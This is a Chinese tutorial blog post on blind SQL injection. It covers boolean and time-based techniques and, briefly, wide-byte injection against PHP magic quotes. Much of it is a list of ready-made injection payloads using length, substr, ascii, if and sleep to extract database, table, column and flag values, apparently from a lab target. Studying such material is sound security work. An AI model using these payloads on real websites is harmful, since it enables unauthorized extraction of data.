SQL注入篇学习之盲注

技术教程 2026-01-08 18:21:03 浏览
目录
目录

盲注

时间盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过时间注入多一个if()

宽字节注入

布尔盲注

布尔很明显就是true和false,也就是说它只会根据信息返回true和false,也就是没有了之前的报错信息。

时间盲注

界面返回值只有一种true,无论输入任何值,返回情况都会按照正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

盲注函数

length() 函数 返回字符串的长度

?id=1 and length(database())>1

substr() 截取字符串 , 从第一位截取一个

?id=1 and substr(database(),1,1)="k"

ord()/ascii() 返回字符的ascii码

?id=1 and ord(substr(database(),1,1))=107

limit 0,1 显示第一条

substr(截取的内容,截取的位数,截取的个数)

substr(database(),1,1) 显示第一位字符

时间型:sleep(n) 将程序挂起一段时间,n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句,如果错误执行第三个语句

?id=1" and if(length(database())=8,1,sleep(5))-- +

演示语句

猜数据库的长度;?id=1 and (length(database()))>11#猜测数据库的库名:?id=1 and ascii(substr(database(),1,1))>1#猜表名(示例为查询第一个表名)and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6//注意括号问题and substr((select table_name from information_schema.tables where table_schema="kanwolongxia" limit 0,1),1,1)="l"猜第一个字段名第一个字符:and substr((select column_name from information_schema.columns where table_name="loflag" limit 0,1),1,1)="i"猜第一个字段名第二个字符:and substr((select column_name from information_schema.columns where table_name="loflag" limit 0,1),2,1)="i"猜第二个字段名:and substr((select column_name from information_schema.columns where table_name="loflag" limit 1,1),2,1)="l"#猜字段中的内容:and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122时间盲注猜测数据库的长度:?id=1" and if(length(database())=12,sleep(5),1) -- +猜测数据库的库名:if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+猜测数据库中表的长度:?id=1" and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) -- +猜测数据库中的表名:?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=120,sleep(5),1) -- +猜测表中的字段名的长度:?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name="loflag" limit 0,1))=2,sleep(5),111) -- +猜测表中的字段名:?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="loflag" limit 0,1),1,1))=73,sleep(5),111) -- +猜测字段中内容的长度:?id=1" and if(length((select flaglo from loflag limit 0,1))=111,sleep(5),111) -- +猜测字段中的内容:?id=1" and if((ascii(substr((select flaglo from loflag limit 0,1),1,1)))=120,sleep(5),111) -- +

burp抓包演示

先判断长度,再判断内容

宽字节注入

php魔术函数

开启方式

php在版本5.4开始将魔术引号的设置转化为特定函数addalashes()使用 $b = addcslashes($_REQUEST[8]); 不在配置文件中打开【原因是将安全编码交给了用户自己,避免用户过度依赖造成安全隐患】,或者在php.ini中修改。

开启效果

作用

当PHP的传参中有特殊字符就会再前面加转义字符’’,来做一定的过滤

绕过方法

单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入,那我们该怎么办?

宽字节注入

总结

原文地址:

本文版权声明本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,请联系本站客服,一经查实,本站将立刻删除。

发表评论

热门推荐